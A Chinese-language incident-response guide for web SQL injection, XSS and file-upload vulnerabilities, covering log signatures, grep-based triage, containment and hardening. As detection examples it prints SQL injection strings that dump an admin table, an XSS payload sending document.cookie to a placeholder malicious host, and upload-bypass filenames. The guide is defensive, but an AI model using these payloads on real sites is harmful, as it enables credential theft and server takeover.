应急响应——Web高危漏洞应急(SQL注入+XSS跨站+文件上传)

一、通用前置说明

1.漏洞应急整体思路

  1. 定位:从日志/流量找到漏洞利用请求、攻击IP
  2. 止损:临时封禁IP、请用WAF、临时下线风险页面
  3. 排查:检查是否被植入后门、篡改页面、拖库数据
  4. 清理:删除木马、恢复篡改页面
  5. 加固:修复代码漏洞、更新配置、权限收紧

2.三类漏洞风险等级

  • SQL注入:高危,可拖库、查管理员账号、篡改数据、执行数据库命令
  • 文件上传:超高危,直接上传WebShell,拿下服务器权限
  • XSS跨站:中高危,窃取Cookie、钓鱼、劫持用户、页面挂恶意代码

二、SQL注入

1.基础原理

网站前端将用户传入的参数直接拼接进SQL语句执行,攻击者构造特殊字符/语句,篡改原有查询逻辑,非法操作数据库。

常见触发点:URL参数、搜索框、登录框、留言板等输入位置。

2.典型注入特征(日志/请求识别)

(1)特征符号&关键字

'、"、--、#、/* */

SQL关键字:union、select、and、or、sleep、benchmark、into outfile

(2)典型恶意请求示例
复制代码
#闭合原有SQL,构造永真条件
?id=1' or 1=1 --

#联合查询拖库
?id=1' union select 1,username,password from admin --

#延时注入(盲注,无回显)
?id=1' and sleep(5) --
(3)日志表现
  1. Nginx/Apache日志:URL参数包含上述关键字/符号
  2. 状态码:多为200(正常执行)、部分触发代码报错出现500
  3. 同一IP短时间大量相似请求------>自动化注入工具扫描

3.应急现场排查步骤

1.筛选攻击日志
复制代码
#Nginx筛选注入特征
grep -iE "'|union|select|and|or|sleep" /var/log/nginx/access.log

#统计攻击IP,定位源头
awk '{print $1}' access.log | sort |uniq -c | sort -nr
2.判断危害程度
  • 普通查询:仅读取页面数据,风险较低
  • 出现password、admin、user表名:疑似拖库(盗取账号密码)
  • 出现into outfile :尝试写入文件,大概率要传后门
3.检查网站页面&数据

查看前台页面是否被篡改、后台管理员账号是否被新增

4.临时应急处置
  1. 防火墙/WAF拉黑攻击IP段
  2. 临时关闭对应动态页面/接口
  3. 数据库临时收紧账号权限,禁止file、exec等高权限操作
  4. 开启WAF SQL注入防护规则
5.长期加固方案
  • 代码层:使用预编译语句,禁止直接拼接SQL
  • 输入过滤:过滤单引号、关键词、特殊字符
  • 数据库账号最小权限,网站库帐号不赋予文件读写权限

三、XSS跨站脚本攻击

1.基础原理

网站对用户输入未过滤HTML/JS代码,攻击者注入恶意脚本,当其他用户访问页面时,脚本自动执行。

分类:

存储型XSS:恶意代码存入服务器数据库/页面,所有访问者都会触发(危害最大,留言板、评论区告发)

反射型XSS:代码仅在URL中,点开恶意链接才触发(钓鱼常用)

DOM型XSS:

前端JS解析逻辑漏洞,后台日志可能无明显特征

2.典型特征(日志&流量识别)

(1)特征关键词/标签

<script>、alert()、javascript:、<frame>、document.cookie、onerror、onclick

(2)典型恶意请求示例
复制代码
#弹窗测试
?name=<script?alert('xss')</script>

#窃取Cookie
?user=<script>document.location='http://恶意IP/steal.php?c='+document.cookie</script>

#内嵌恶意页面
<iframe src="恶意地址" width=0 height=0></iframe>
(3)日志表现
  • 请求参数内包含HTML标签、JS函数
  • 存储型XSS会反复出现同一段恶意代码(多人访问触发)
  • 状态码大多为200

3.应急现场排查步骤

  • 日志筛选特征字符
复制代码
  grep -iE "script|alert|iframe|cookie" access.log
  • 定位注入位置:评论、搜索、个人资料、留言板等功能点
  • 检查页面:查看页面源码是否存在残留恶意JS/iframe代码
  • 核查影响:是否有用户Cookie被盗、账号异常登录

4.临时应急处置

  1. WAF开启XSS防护规则
  2. 临时关闭存在漏洞的评论/留言功能
  3. 清理数据库、页面中植入的恶意代码
  4. 提醒用户及时修改密码、退出登录

5.长期加固

  • 对输出内容做HTML转义(<>、&、"等符号编码)
  • 输入端过滤脚本标签、时间属性
  • 配置CSP内容安全策略,限制外部脚本加载

四、文件上传漏洞

1.基础原理

网站上传功能(头像、附件、图片)未严格校验文件后缀、文件类型,攻击者可上传PHP/JSP/ASP等脚本文件(WebShell),直接控制服务器。

是入侵网站、植入后门最常用的漏洞。

2.常见绕过手段

  • 后缀绕过:shell.php------>shell.php%00、shell.php.、shell.jpg.php
  • 类型绕过:修改HTTP请求头的Content-Type伪装成图片
  • 双后缀:shell.jpg.php

3.典型特征(日志&流量识别)

(1)行为特征
  1. 请求方式:基本都是POST请求(文件上传必须POST)
  2. 目标路径:/upload/、/file/、/attach/、/avatar/等上传目录
  3. 文件名:出现shell、hack、一句话木马相关命名,后缀为.php / .jsp / .asp
(2)日志关键词

.php、.jsp、.asp、upload、.file、POST

(3)典型恶意请求

向上传接口提交一句话木马.php,请求体包含脚本代码

4.应急现场排查步骤

  • 日志筛选上传行为

    #筛选POST上传+脚本后缀
    grep -i "POST" access.log | grep -iE ".php|.jsp|.asp"

  • 定位上传目录:进入网站upload等目录,查找陌生脚本文件

  • 查杀WebShell(配合D盾、河马工具)

  • 检查:是否已通过上传木马进一步提权、横向渗透

5.临时应急处置

  • 临时禁用上传功能,或给上传目录设置禁止执行脚本权限

Linux Nginx:配置上传目录不解析PHP

Windows IIS:设置目录执行权限为"无"

  • WAF拦截脚本后缀文件上传
  • 删除已上传恶意脚本文件
  • 封禁攻击IP

6.长期加固

  1. 严格校验文件后缀+MIME类型,只允许图片、压缩包等合法格式
  2. 上传目录独立部署,禁止脚本执行权限
  3. 上传文件重命名,杜绝脚本被直接访问执行
  4. 限制上传文件大小
相关推荐
sdghterhd6 小时前
WebSocket 快速入门教程(附示例源码)
网络·websocket·网络协议
随风一样自由6 小时前
【前端独角兽】刚进入前端领域的前端开发用jQuery还是Vue3?
前端·javascript·vue3·jquery
xy34536 小时前
Wireshark捕获过滤器——语法元素详解
网络·测试工具·渗透测试·wireshark
IMPYLH7 小时前
HTML 的 <data> 元素
前端·html
YHHLAI7 小时前
[特殊字符] 面试中的 Promise —— 从入门到精通
前端·javascript·面试
DLYSB_7 小时前
生命通道:如何用 HIS 医疗系统直连网络声光终端,打造“零延误”的危急值响应网关?
java·网络·数据库·报警灯
xixixi777778 小时前
三大 AI 安全里程碑:Akamai 高危风险预警、智能体水印强制落地、PQC 量子安全全产业链统一
大数据·人工智能·安全·ai·大模型·智能体·政策
德福危险8 小时前
富有想象力的XSS盲打:靶机练习之Tempus_fugit5
服务器·网络·xss
kyriewen9 小时前
我扒了 GPT-5.6 的全部编程跑分——有一项 OpenAI 没敢放出来
前端·gpt·ai编程
哥是强混10 小时前
Means:基于 .NET 10 打造的开源自部署 S3 兼容对象存储服务
网络·数据库·.net